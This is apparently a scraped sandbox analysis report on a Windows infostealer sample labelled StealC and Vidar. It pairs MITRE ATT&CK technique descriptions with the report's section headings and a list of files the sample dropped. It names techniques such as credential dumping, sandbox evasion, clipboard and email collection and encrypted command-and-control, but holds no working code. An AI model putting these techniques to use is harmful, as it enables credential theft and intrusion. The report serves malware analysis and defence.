Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bUcIhJ4VHm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIJKKEHJDHJKFIECAA

C:\ProgramData\AAFIJKKEHJDHJKFIECAAKFIJJK

C:\ProgramData\AZTRJHKCVR.xlsx

C:\ProgramData\BFHIJEBKEBGHIDHJKJEGCBAEGH

C:\ProgramData\BNAGMGSPLO.docx

C:\ProgramData\CAKEBFCFIJJKKECAKJEHDAAFIE

C:\ProgramData\DGDBFBFC

C:\ProgramData\DQOFHVHTMG.docx

C:\ProgramData\DQOFHVHTMG.xlsx

C:\ProgramData\DUUDTUBZFW.docx

C:\ProgramData\EEGWXUHVUG.docx

Windows Analysis Report
bUcIhJ4VHm.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre